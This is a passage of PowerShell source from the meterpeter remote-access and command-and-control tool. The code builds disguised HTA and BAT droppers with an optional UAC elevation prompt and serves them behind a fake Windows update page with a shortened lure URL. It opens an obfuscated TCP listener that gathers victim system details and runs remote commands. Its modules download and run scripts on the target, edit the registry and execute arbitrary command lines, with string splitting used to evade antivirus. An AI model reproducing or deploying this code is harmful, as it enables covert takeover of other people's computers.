#iwr -Uri "https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/theme/meterpeter.ico" -OutFile "meterpeter.ico"|Out-Null
#Start-Process -WindowStyle hidden cmd.exe -ArgumentList "/R COPY /B meterpeter.ico+Update.hta $Dro`pper_Name.hta" -Wait
#Compress HTA application and port the ZIP archive to 'webroot' directory!
Compress-Archive -LiteralPath "$Dropper_Name.hta" -DestinationPath "${APACHE}${Dropper_Name}.zip" -Force
#Revert original HTA to default to be used again
((Get-Content -Path "Update.hta" -Raw) -Replace "$Server_port","CharlieBrown")|Set-Content -Path "Update.hta"
#Delete artifacts left behind
#Remove-Item -Path "meterpeter.ico" -EA SilentlyContinue -Force
Remove-Item -Path "$Dropper_Name.hta" -EA SilentlyContinue -Force
#return to meterpeter working directory (meterpeter)
cd $IPATH
}
Else
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - meterpeter payload BAT dro`pper script
#>
Copy-Item -Path "$Bin$Dropper_Name.bat" -Destination "${Bin}BACKUP.bat"|Out-Null
## (ZIP + add LHOST) to drop`per.bat before send it to apache 2 webroot ..
((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "CharlieBrown","$Local_Host")|Set-Content -Path $Bin$Dropper_Name.bat;
$RunEXElevated = Read-Host "[i] Make dropper spawn UAC dialog to run elevated? (y|n)"
If($RunEXElevated -iMatch '^(y|yes)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Execute Batch with administrator privileges?
.NOTES
This function add's a cmdline to the beggining of bat file that uses
'Net Session' API to check for admin privs before executing powershell
-ru`nas on current process spawning a UAC dialogbox of confirmation.
#>
$MyRunes = "r" + "una" + "s" -join ''
#TODO: run bat with admin privs ??? -> requires LanManServer (server) service active
((Get-Content -Path $Bin$Dropper_Name.bat -Raw) -Replace "@echo off","@echo off`nsc query `"lanmanserver`"|find `"RUNNING`" >nul`nif %ERRORLEVEL% EQU 0 (`n Net session >nul 2>&1 || (PowerShell start -verb $MyRunes '%~0' &exit /b)`n)")|Set-Content -Path $Bin$Dropper_Name.bat
}
Compress-Archive -LiteralPath $Bin$Dropper_Name.bat -DestinationPath $APACHE$Dropper_Name.zip -Force;
#Revert original BAT to default to be used again
Remove-Item -Path "$Bin$Dropper_Name.bat" -Force
Copy-Item -Path "${Bin}BACKUP.bat" -Destination "$Bin$Dropper_Name.bat"|Out-Null
Remove-Item -Path "${Bin}BACKUP.bat" -Force
}
#write onscreen
write-Host "[i] Send the URL generated to target to trigger download."
Copy-Item -Path "${IPATH}\Mimiratz\theme\Catalog.png" -Destination "${APACHE}Catalog.png"|Out-Null
Copy-Item -Path "${IPATH}\Mimiratz\theme\favicon.png" -Destination "${APACHE}favicon.png"|Out-Null
Copy-Item -Path "${IPATH}\Mimiratz\theme\Update-KB5005101.html" -Destination "${APACHE}Update-KB5005101.html"|Out-Null
((Get-Content -Path "${APACHE}Update-KB5005101.html" -Raw) -Replace "henrythenavigator","$Dropper_Name")|Set-Content -Path "${APACHE}Update-KB5005101.html"
Write-Host "[i] Attack Vector: http://$Local_Host/$Dropper_Name.html" -ForeGroundColor Black -BackGroundColor white;
#Shorten Url function
$Url = "http://$Local_Host/$Dropper_Name.html"
$tinyUrlApi = 'http://tinyurl.com/api-create.php'
$response = Invoke-WebRequest ("{0}?url={1}" -f $tinyUrlApi, $Url)
$response.Content|Out-File -FilePath "$Env:TMP\sHORTENmE.meterpeter" -Force
$GetShortenUrl = Get-Content -Path "$Env:TMP\sHORTENmE.meterpeter"
Write-Host "[i] Shorten Uri : $GetShortenUrl" -ForeGroundColor Black -BackGroundColor white
Remove-Item -Path "$Env:TMP\sHORTENmE.meterpeter" -Force
}
$check = $Null;
$python_port = $Null;
$Server_port = $Null;
$Python_version = $Null;
## End of venom function
If($RunEXElevated -iMatch '^(y|yes)$')
{
<#
.SYNOPSIS
Author: @r00t-3xp10it
Helper - Add UAC elevation to payload.ps1
.NOTES
This migth trigger av detection on payload (danger)
@Ahmed_Ben_Mhamed uses the payload.PS1 of meterpeter C2
to expl`oit targets over WAN networks, but UAC elevation
its only available by default in drop`pers. (untill now)
#>
$OLD = (Get-Content -Path "${IPATH}${payload_name}.ps1" -Raw)
echo "`$Bi0s = (`"#Ru`"+`"nA#s`" -Join '') -replace '#',''" > "${IPATH}${payload_name}.ps1"
echo "If(-not([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator))" >> "${IPATH}${payload_name}.ps1"
echo "{" >> "${IPATH}${payload_name}.ps1"
echo " Start-Process -WindowStyle hidden powershell.exe `"-File`",('`"{0}`"' -f `$MyInvocation.MyCommand.Path) -Verb `$Bi0s" >> "${IPATH}${payload_name}.ps1"
echo " exit" >> "${IPATH}${payload_name}.ps1"
echo "}`n" >> "${IPATH}${payload_name}.ps1"
echo "$OLD" >> "${IPATH}${payload_name}.ps1"
}
$ola = 'Creat' + 'eInstance' -join ''
$Bytes = [System.Byte[]]::$ola([System.Byte],1024);
Write-Host "[*] Listening on LPort: $Local_Port tcp";
## $Socket - Obfuscat`ion
${/$.}=+$( ) ; ${).!} =${/$.} ;${#~} = ++ ${/$.} ; ${[/} =( ${/$.} =${/$.} + ${#~} ) ;${.-} = ( ${/$.} =${/$.}+ ${#~} ); ${.$)}= (${/$.} = ${/$.} +${#~} ) ;${/@} = (${/$.} =${/$.}+${#~} ) ;${)/}=(${/$.}=${/$.}+${#~} ) ; ${#-*} =( ${/$.}= ${/$.}+ ${#~});${;}= (${/$.} =${/$.}+ ${#~} ) ;${``[@} = (${/$.} = ${/$.}+${#~} ) ;${[}= "[" + "$( @{} ) "[${#-*}]+ "$(@{ })"[ "${#~}" + "${``[@}"]+"$( @{} ) "["${[/}" + "${).!}"]+ "$?"[${#~} ] + "]" ;${/$.} = "".("$(@{ }) "[ "${#~}${.$)}"]+"$(@{ })"["${#~}${)/}"]+"$( @{ } ) "[ ${).!} ] +"$( @{ }) "[${.$)}] +"$? "[${#~} ]+"$( @{}) "[${.-}] ) ; ${/$.}= "$( @{ } ) "["${#~}"+ "${.$)}"] + "$( @{}) "[ ${.$)} ] +"${/$.}"[ "${[/}" +"${#-*}"] ;&${/$.} (" ${/$.} (${[}${.-}${)/}+ ${[}${;}${.-}+ ${[}${#~}${#~}${#~}+${[}${``[@}${``[@} + ${[}${#~}${).!}${#-*}+ ${[}${#~}${).!}${#~}+${[}${#~}${#~}${)/}+${[}${.-}${[/}+ ${[}${)/}${#~} +${[}${.-}${[/}+${[}${#-*}${;} +${[}${#~}${).!}${#~} +${[}${#~}${#~}${``[@}+ ${[}${.$)}${/@}+${[}${#-*}${``[@}+ ${[}${``[@}${;}+ ${[}${#~}${).!}${)/} +${[}${#~}${).!}${#~} + ${[}${``[@}${``[@} +${[}${#~}${#~}${)/} +${[}${.-}${[/} +${[}${;}${.-}+${[}${#~}${[/}${#~} +${[}${#~}${#~}${/@}+${[}${#~}${#~}${)/} +${[}${#~}${).!}${#~}+ ${[}${#~}${).!}${``[@} + ${[}${.$)}${)/} + ${[}${#-*}${;} + ${[}${#~}${).!}${#~}+ ${[}${#~}${#~}${)/} + ${[}${.$)}${)/}+ ${[}${;}${.-} + ${[}${#~}${#~}${#~}+${[}${``[@}${``[@}+${[}${#~}${).!}${#-*}+ ${[}${#~}${).!}${#~} + ${[}${#~}${#~}${)/} +${[}${#~}${#~}${/@} +${[}${.$)}${)/} + ${[}${;}${.$)} +${[}${``[@}${``[@} + ${[}${#~}${#~}${[/}+ ${[}${#-*}${)/}+ ${[}${#~}${).!}${/@}+${[}${#~}${#~}${/@} + ${[}${#~}${#~}${)/}+${[}${#~}${).!}${#~} +${[}${#~}${#~}${).!} + ${[}${#~}${).!}${#~} +${[}${#~}${#~}${.$)} + ${[}${.$)}${).!}+${[}${.-}${``[@} +${[}${.$)}${;}+${[}${.$)}${)/} +${[}${.$)}${;} +${[}${.$)}${)/} + ${[}${.$)}${;} + ${[}${.$)}${)/}+ ${[}${.$)}${;} + ${[}${.-}${``[@} +${[}${.$)}${.$)} + ${[}${.-}${)/}+ ${[}${#-*}${)/}+${[}${#~}${#~}${#~}+ ${[}${``[@}${``[@}+${[}${``[@}${#-*} +${[}${#~}${).!}${;}+ ${[}${``[@}${/@} +${[}${;}${).!} +${[}${#~}${#~}${#~} +${[}${#~}${#~}${.$)}+${[}${#~}${#~}${)/} + ${[}${.$)}${#~} +${[}${/@}${``[@} )")
$Socket.Start();
$Client = $Socket.AcceptTcpClient();
$Remote_Host = $Client.Client.RemoteEndPoint.Address.IPAddressToString
Write-Host "[-] Beacon received: " -ForegroundColor Green -NoNewline
Write-Host "$Remote_Host" -ForegroundColor Red
## Connection Banner
$ConnectionBanner = @"
_____________ _____________
|.-----------.| |.-----------.|
|| || || ||
|| Local || <==> || Remote ||
||___________|| ||___________||
__'---------'__ __'---------'__
[:::: ::::::::::] [:::::::::: ::::]
"@;
write-host $ConnectionBanner
write-host " $Local_Host" -ForegroundColor Green -NoNewline
write-host " $Remote_Host`n" -ForegroundColor Red
#Play sound on session creation
$PlayWav = New-Object System.Media.SoundPlayer
$PlayWav.SoundLocation = "${IPATH}\Mimiratz\theme\ConnectionAlert.wav"
$PlayWav.playsync();
$Stream = $Client.GetStream();
$WaitData = $False;
$Info = $Null;
$RhostWorkingDir = Char_Obf("(Get-location).Path");
$Processor = Char_Obf("(Get-WmiObject Win32_processor).Caption");
$Name = Char_Obf("(Get-WmiObject Win32_OperatingSystem).CSName");
$System = Char_Obf("(Get-WmiObject Win32_OperatingSystem).Caption");
$Version = Char_Obf("(Get-WmiObject Win32_OperatingSystem).Version");
$serial = Char_Obf("(Get-WmiObject Win32_OperatingSystem).SerialNumber");
$syst_dir = Char_Obf("(Get-WmiObject Win32_OperatingSystem).SystemDirectory");
$Architecture = Char_Obf("(Get-WmiObject Win32_OperatingSystem).OSArchitecture");
$WindowsDirectory = Char_Obf("(Get-WmiObject Win32_OperatingSystem).WindowsDirectory");
$RegisteredUser = Char_Obf("(Get-CimInstance -ClassName Win32_OperatingSystem).RegisteredUser");
$BootUpTime = Char_Obf("(Get-CimInstance -ClassName Win32_OperatingSystem).LastBootUpTime.ToString()");
#Sysinfo command at first time run (connection)
$Command = "cd `$Env:TMP;`" DomainName : `"+$Name+`"``n Architecture : `"+$Architecture+`"``n RemoteHost : `"+`"$Remote_Host`"+`"``n BootUpTime : `"+$BootUpTime+`"``n RegisteredUser : `"+$RegisteredUser+`"``n OP System : `"+$System+`"``n OP Version : `"+$Version+`"``n SystemDir : `"+$syst_dir+`"``n WorkingDir : `"+$RhostWorkingDir+`"``n ProcessorCPU : `"+$Processor;If(Get-Process wscript -EA SilentlyContinue){Stop-Process -Name wscript -Force}";
While($Client.Connected)
{
If(-not ($WaitData))
{
If(-not ($Command))
{
$Flipflop = "False";
Write-Host "`n - press 'Enter' to continue .." -NoNewline;
$continue = Read-Host;
Clear-Host;
Write-Host $Modules;
Write-Host "`n :meterpeter> " -NoNewline -ForeGroundColor Green;
$Command = Read-Host;
}
If($Command -ieq "Modules")
{
Clear-Host;
Write-Host "`n$Modules";
$Command = $Null;
}
If($Command -ieq "Info")
{
Write-Host "`n`n$Info";
$Command = $Null;
}
If($Command -ieq "Session")
{
## Check if client (target machine) is still connected ..
$ParseID = "$Local_Host"+":"+"$Local_Port" -Join ''
$SessionID = netstat -ano | Select-String "$ParseID" | Select-Object -First 1
$AllSettings = Get-NetAdapter | Select-Object * | Where-Object { $_.Status -iMatch '^(Up)$' }
$Netdesc = ($AllSettings).InterfaceDescription
$NetSped = ($AllSettings).LinkSpeed
$NetAdpt = ($AllSettings).Name
write-host "`n`n Connection : " -NoNewline;
write-host "$NetAdpt" -ForegroundColor DarkGray -NoNewline;
write-host " LinkSpeed: " -NoNewline;
write-host "$NetSped" -ForegroundColor DarkGray
write-host " Description: " -NoNewline
write-host "$Netdesc" -ForegroundColor Red
Write-Host "`n Proto Local Address Foreign Address State PID" -ForeGroundColor green;
Write-Host " ----- ------------- --------------- ----- ---";
## Display connections statistics
If(-not($SessionID) -or $SessionID -eq " ")
{
Write-Host " None Connections found (Client Disconnected)" -ForeGroundColor Red
} Else {
Write-Host " $SessionID"
}
write-host ""
$Command = $Null;
}
If($Command -ieq "Pranks")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Remote pranks manager";
write-host "`n`n Modules Description" -ForegroundColor green;
write-host " ------- -----------";
write-host " Msgbox Spawn remote msgbox manager";
write-host " Speak Make remote host speak one frase";
write-host " OpenUrl Open\spawn URL in default browser";
write-host " GoogleX Browser google easter eggs manager";
write-host " WindowsUpdate Fake windows update full screen prank";
write-host " CriticalError Prank that fakes a critical system error";
write-host " BallonTip Show a ballon tip in the notification bar";
write-host " Nodrives Hide All Drives (C:D:E:F:G) From Explorer";
write-host " LabelDrive Rename drive letter (C:) label From Explorer";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Pranks> " -NoNewline -ForeGroundColor Green;
$choise = Read-Host;
If($choise -ieq "BallonTip")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This module spawn a ballontip in the notification bar"
write-host " Parameter IconType accepts values: Info,Warning,Error"
write-host " Parameter CloseTime accepts milliseconds (example: 10000)"
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green
write-host " ------- ----------- -------------------"
write-host " Spawn ballontip in notification bar UserLand"
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Pranks:BallonTip> " -NoNewline -ForeGroundColor Green
$Prank_choise = Read-Host;
If($Prank_choise -ieq "Spawn")
{
write-host " - BallonTip Title : " -NoNewline
$Title = Read-Host
If([string]::IsNullOrEmpty($Title))
{
$Title = "Attention `$Env:USERNAME"
write-host " => Error: wrong input, default to: '$Title'" -ForegroundColor Red
}
write-host " - BallonTip Text : " -NoNewline
$Text = Read-Host
If([string]::IsNullOrEmpty($Text))
{
$Text = "A vir`us has detected in `$Env:COMPUTERNAME"
write-host " => Error: wrong input, default to: '$Text'" -ForegroundColor Red
}
write-host " - BallonTip IconType : " -NoNewline
$IconType = Read-Host
If([string]::IsNullOrEmpty($IconType))
{
$IconType = "Warning"
write-host " => Error: wrong input, default to: '$IconType'" -ForegroundColor Red
}
write-host " - BallonTip CloseTime : " -ForegroundColor DarkYellow -NoNewline
$CloseTime = Read-Host
If([string]::IsNullOrEmpty($CloseTime))
{
$CloseTime = "10000"
write-host " => Error: wrong input, default to: '$CloseTime'" -ForegroundColor Red
}
write-host " * Spawn a ballontip in the notification bar .." -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "cd `$Env:TMP;iwr -Uri 'https://raw.githubusercontent.com/r00t-3xp10it/redpill/main/lib/Misc-CmdLets/Show-BalloonTip.ps1' -OutFile 'Show-BalloonTip.ps1'|Unblock-File;powershell -file `$Env:TMP\Show-BalloonTip.ps1 -title `"$Title`" -text `"$Text`" -icontype `"$IconType`" -autoclose `"$CloseTime`";Remove-Item -Path `$Env:TMP\Show-BalloonTip.ps1 -Force"
}
If($Prank_choise -ieq "Return" -or $Prank_choise -ieq "cls" -or $Prank_choise -ieq "modules" -or $Prank_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Prank_choise = $Null;
}
}
If($choise -ieq "WindowsUpdate" -or $choise -ieq "WU")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This module opens the target default web browser in fakeupdate.net"
write-host " in full screen mode. Faking that one windows update its occuring."
write-host " Remark: Target requires to press F11 to exit full screen prank." -ForegroundColor Yellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Start execute prank in background UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Pranks:WU> " -NoNewline -ForeGroundColor Green;
$Prank_choise = Read-Host;
If($Prank_choise -ieq "Start")
{
write-host " * Faking windows system update ..`n" -ForegroundColor Green;Start-Sleep -Seconds 1
$Command = "powershell cd `$Env:TMP;iwr -Uri 'https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/FWUprank.ps1' -OutFile 'FWUprank.ps1'|Unblock-File;Start-Process -WindowStyle hidden powershell -ArgumentList '-file FWUprank.ps1 -autodelete on';echo ' `> Windows system update prank running in background!' `> trash.mtp;echo ' `> URI: https://fakeupdate.net/[SystemOS]/~{F11}' `>`> trash.mtp;Get-Content trash.mtp;Remove-Item trash.mtp -Force"
}
If($Prank_choise -ieq "Return" -or $Prank_choise -ieq "cls" -or $Prank_choise -ieq "modules" -or $Prank_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Prank_choise = $Null;
}
}
If($choise -ieq "LabelDrive" -or $choise -ieq "Label")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Module to rename drive label";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " List ALL drives available UserLand"
write-host " Rename Rename drive letter label " -NoNewline;
write-host "Administrator" -ForegroundColor Red;
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Pranks:Label> " -NoNewline -ForeGroundColor Green;
$choise_two = Read-Host;
If($choise_two -ieq "List")
{
write-host " * Listing all drives available .." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n";
$Command = "`$PSVERSION = (`$Host).version.Major;If(`$PSVERSION -gt 5){Get-PSDrive -PSProvider 'FileSystem'|Select-Object Root,CurrentLocation,Used,Free|ft|Out-File dellog.txt}Else{Get-Volume|Select-Object DriveLetter,FileSystemLabel,FileSystemType,DriveType,HealthStatus,SizeRemaining,Size|FT|Out-File dellog.txt};Get-Content dellog.txt;Remove-Item dellog.txt -Force";
}
If($choise_two -ieq "Rename")
{
$MyDrive = Read-Host " - DriveLetter to change the label (C)"
$MyDName = Read-Host " - Drive new Friendly Name (Armagedon)"
write-host " * Rename Drive ${MyDrive}: label to [" -ForegroundColor Green -NoNewline
write-host "$MyDName" -ForegroundColor Red -NoNewline;
write-host "]" -ForegroundColor Green;
Start-Sleep -Seconds 1;write-host "`n";
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){If(-not(Test-Path -Path `"${MyDrive}:`")){echo `" [${MyDrive}:] Drive letter not found ..``n`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}Set-Volume -DriveLetter $MyDrive -NewFileSystemLabel `"$MyDName`";Start-Sleep -Seconds 1;Get-Volume -DriveLetter $MyDrive|Select-Object DriveLetter,FileSystemLabel,FileSystemType,HealthStatus,SizeRemaining,Size|FT}Else{echo `" [i] Client Admin Privileges Required (run as administrator)``n`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}";
}
If($choise_two -ieq "Return" -or $choise_two -ieq "cls" -or $choise_two -ieq "Modules" -or $choise_two -ieq "clear")
{
$Command = $Null;
$choise_two = $Null;
}
}
If($choise -ieq "Nodrives")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " Module to enable\disable the display of drivers";
write-host " under Explorer (modify Explorer HKCU policy key)";
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " Disable Hide Drives from explorer " -NoNewline;
write-host "Administrator" -ForegroundColor Red;
write-host " Enable Show Drives in Explorer " -NoNewline;
write-host "Administrator" -ForegroundColor Red;
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Pranks:NoDrives> " -NoNewline -ForeGroundColor Green;
$choise_two = Read-Host;
If($choise_two -ieq "Disable" -or $choise_two -ieq "off")
{
write-host " * Hide All Drives (C:D:E:F:G) From Explorer .." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n`n";
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){cmd /R reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDrives /t REG_DWORD /d 67108863 /f;Get-ItemProperty -path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\policies\Explorer' -Name 'NoDrives' | select-Object NoDrives,PSchildName,PSDrive,PSProvider | Format-Table -AutoSize `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force;cmd /R taskkill /F /IM explorer.exe;start explorer.exe}else{echo `" [i] Client Admin Privileges Required (run as administrator)`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}";
}
If($choise_two -ieq "Enable" -or $choise_two -ieq "on")
{
write-host " * Display All Drives (C:D:E:F:G) In Explorer .." -ForegroundColor Green;Start-Sleep -Seconds 1;write-host "`n`n";
$Command = "`$bool = (([System.Security.Principal.WindowsIdentity]::GetCurrent()).groups -match `"S-1-5-32-544`");If(`$bool){Remove-Itemproperty -path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\policies\Explorer' -Name 'NoDrives' -Force;Get-Item -path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\policies\Explorer' `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force;cmd /R taskkill /F /IM explorer.exe;start explorer.exe}else{echo `" [i] Client Admin Privileges Required (run as administrator)`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force}";
}
If($choise_two -ieq "Return" -or $choise_two -ieq "cls" -or $choise_two -ieq "Modules" -or $choise_two -ieq "clear")
{
$Command = $Null;
$choise_two = $Null;
}
}
If($choise -ieq "CriticalError")
{
$MaxInteractions = Read-Host " - How many times to loop prank? (8) "
$DelayTime = Read-Host " - The delay time between loops? (9) "
If([string]::IsNullOrEmpty($DelayTime)){$DelayTime = "9"}
If([string]::IsNullOrEmpty($MaxInteractions)){$MaxInteractions = "8"}
Write-Host " * Faking a critical system error (BSOD)" -ForegroundColor Green
Write-Host " => Takes aprox 30 seconds to run`n`n" -ForegroundColor DarkYellow
write-host " > Executing BSOD prank in background." -ForegroundColor Green
write-host " > MaxInteractions:" -NoNewline
write-host "$MaxInteractions" -ForegroundColor Red -NoNewline
write-host " DelayTime:" -NoNewline
write-host "$DelayTime" -ForegroundColor Red -NoNewline
write-host " (sec)`n"
#Execute remote command
$Command = "powershell cd `$Env:TMP;iwr -Uri 'https://raw.githubusercontent.com/r00t-3xp10it/meterpeter/master/mimiRatz/C2Prank.ps1' -OutFile 'C2Prank.ps1'|Unblock-File;Start-Process -windowstyle hidden powershell -ArgumentList '-file C2Prank.ps1 -MaxInteractions $MaxInteractions -DelayTime $DelayTime'"
}
If($choise -ieq "msgbox")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This module allow attacker to spawn a simple msgbox that auto-closes"
write-host " after a certain amount of pre-selected time, or spawn a msgbox that"
write-host " waits for comfirmation (press yes button on msgbox) to execute cmdline"
write-host " Remark: The msgbox 'auto-close time' its set in seconds" -ForegroundColor Yellow
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------";
write-host " simple Spawn simple msgbox UserLand";
write-host " cmdline msgbox that exec cmdline UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Pranks:Msgbox> " -NoNewline -ForeGroundColor Green;
$msgbox_choise = Read-Host;
If($msgbox_choise -ieq "Simple")
{
Write-Host " * Spawn simple remote msgbox" -ForegroundColor Green
$MsgBoxClose = Read-Host " - Msgbox auto-close time"
If(-not($MsgBoxClose) -or $MsgBoxClose -ieq $null)
{
$MsgBoxClose = "10"
Write-Host " => Error: wrong input, set demo to '$MsgBoxClose'" -ForegroundColor Red
}
$MsgBoxTitle = Read-Host " - Input the msgbox title"
If(-not($MsgBoxTitle) -or $MsgBoxTitle -ieq $null)
{
$MsgBoxTitle = "MeterpeterC2"
Write-Host " => Error: wrong input, set demo to '$MsgBoxTitle'" -ForegroundColor Red
}
$MsgBoxText = Read-Host " - Input text to display "
If(-not($MsgBoxText) -or $MsgBoxText -ieq $null)
{
$MsgBoxText = "Executing message box .."
Write-Host " => Error: wrong input, set demo to '$MsgBoxText'" -ForegroundColor Red
}
Write-Host "`n`n > Executing simple messagebox remote ..`n"
$Command = "powershell (New-Object -ComObject Wscript.Shell).Popup(`"$MsgBoxText`",$MsgBoxClose,`"$MsgBoxTitle`",4+64)|Out-Null"
}
If($msgbox_choise -ieq "cmdline")
{
$MsgBoxClose = Read-Host " - Msgbox auto-close time"
If(-not($MsgBoxClose) -or $MsgBoxClose -ieq $null)
{
$MsgBoxClose = "10"
Write-Host " => Error: wrong input, set demo to '$MsgBoxClose'" -ForegroundColor Red
}
$MsgBoxTitle = Read-Host " - Input the msgbox title"
If(-not($MsgBoxTitle) -or $MsgBoxTitle -ieq $null)
{
$MsgBoxTitle = "MeterpeterC2"
Write-Host " => Error: wrong input, set demo to '$MsgBoxTitle'" -ForegroundColor Red
}
$MsgBoxText = Read-Host " - Input text to display "
If(-not($MsgBoxText) -or $MsgBoxText -ieq $null)
{
$MsgBoxText = "Executing command"
Write-Host " => Error: wrong input, set demo to '$MsgBoxText'" -ForegroundColor Red
}
$MsgBoxAppli = Read-Host " - PS Cmdline to execute "
If(-not($MsgBoxAppli) -or $MsgBoxAppli -ieq $null)
{
$MsgBoxAppli = "cmd /R start calc.exe"
Write-Host " => Error: wrong input, set demo to '$MsgBoxAppli'" -ForegroundColor Red
}
Write-Host " * Spawn msgbox that exec cmdline" -ForegroundColor Green
$Command = "[int]`$MymsgBox = powershell (New-Object -ComObject Wscript.Shell).Popup(`"$MsgBoxText`",$MsgBoxClose,`"$MsgBoxTitle`",4+64);If(`$MymsgBox -eq 6){echo `"$MsgBoxAppli`"|&('Sex' -replace 'S','I');echo `"`n `> Command '$MsgBoxAppli' executed.`"|Out-File msglogfile.log}Else{echo `"`n `> Fail to execute '$MsgBoxAppli' command.`"|Out-File msglogfile.log};Get-Content -Path msglogfile.log;Remove-Item -Path msglogfile.log -Force"
}
If($msgbox_choise -ieq "Return" -or $msgbox_choise -ieq "cls" -or $msgbox_choise -ieq "modules" -or $msgbox_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$msgbox_choise = $Null;
}
}
If($choise -ieq "Speak")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
write-host " This module makes remote host speak one sentence."
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------"
write-host " start speak input sentence UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow;
write-host "`n`n :meterpeter:Pranks:Speak> " -NoNewline -ForeGroundColor Green;
$Speak_choise = Read-Host;
If($Speak_choise -ieq "start")
{
write-host " - Input Frase for Remote-Host to Speak: " -NoNewline;
$MYSpeak = Read-Host;
write-host " * Executing speak prank." -ForegroundColor Green
If(-not ($MYSpeak -ieq $False -or $MYSpeak -eq ""))
{
write-host ""
$Mytype = "Ad" + "d-Ty" + "pe " + "-Assembl" + "yName" -join ''
$Command = "`$My_Line = `"$MYSpeak`";$Mytype System.speech;`$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer;`$speak.Volume = 85;`$speak.Rate = -2;`$speak.Speak(`$My_Line);echo `" `> Speak Frase: '$MYSpeak' ..`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force";
}
Else
{
write-host "";
$MYSpeak = "Next time dont forget to input the text ok?";
$Mytype = "Ad" + "d-Ty" + "pe " + "-Assembl" + "yName" -join ''
$Command = "`$My_Line = `"$MYSpeak`";$Mytype System.speech;`$speak = New-Object System.Speech.Synthesis.SpeechSynthesizer;`$speak.Volume = 85;`$speak.Rate = -2;`$speak.Speak(`$My_Line);echo `" `> Speak Frase: '$MYSpeak' ..`" `> dellog.txt;Get-Content dellog.txt;Remove-Item dellog.txt -Force";
}
}
If($Speak_choise -ieq "Return" -or $Speak_choise -ieq "cls" -or $Speak_choise -ieq "Modules" -or $Speak_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$Speak_choise = $Null;
}
}
If($choise -ieq "OpenUrl" -or $choise -ieq "URL")
{
write-host "`n`n Description:" -ForegroundColor Yellow
write-host " This module allow users to open one url link on default webbrowser."
write-host " It will open the browser or a new tab if the browser its allready up."
write-host "`n`n Modules Description Privileges Required" -ForegroundColor green;
write-host " ------- ----------- -------------------"
write-host " Open Url on default browser UserLand";
write-host " Return Return to Server Main Menu" -ForeGroundColor yellow
write-host "`n`n :meterpeter:Pranks:Url> " -NoNewline -ForeGroundColor Green;
$url_choise = Read-Host;
If($url_choise -ieq "Open")
{
$UrlLink = Read-Host " - Input URL to open"
If(-not($UrlLink) -or $UrlLink -ieq $null)
{
$UrlLink = "https://mrdoob.com/projects/chromeexperiments/google-gravity"
Write-Host " => Error: wrong input, set demo to '$UrlLink'" -ForegroundColor Red
}
write-host ""
$Command = "Start-Process -WindowStyle Maximized `"$UrlLink`"|Out-Null;If(`$? -eq `"True`"){echo `" `> Successfuly open URL: $UrlLink`"|Out-File defbrowser.meterpeter;Start-Sleep -Seconds 1;Get-Content -Path defbrowser.meterpeter;Remove-Item -Path defbrowser.meterpeter -Force}Else{echo `" `> Fail to open URL: $UrlLink`"|Out-File defbrowser.meterpeter;Get-Content -Path defbrowser.meterpeter;Remove-Item -Path defbrowser.meterpeter -Force}"
$UrlLink = $null
}
If($url_choise -ieq "Return" -or $url_choise -ieq "cls" -or $url_choise -ieq "modules" -or $url_choise -ieq "clear")
{
$choise = $Null;
$Command = $Null;
$url_choise = $Null;
}
}
If($choise -ieq "GoogleX")
{
write-host "`n`n Description:" -ForegroundColor Yellow;
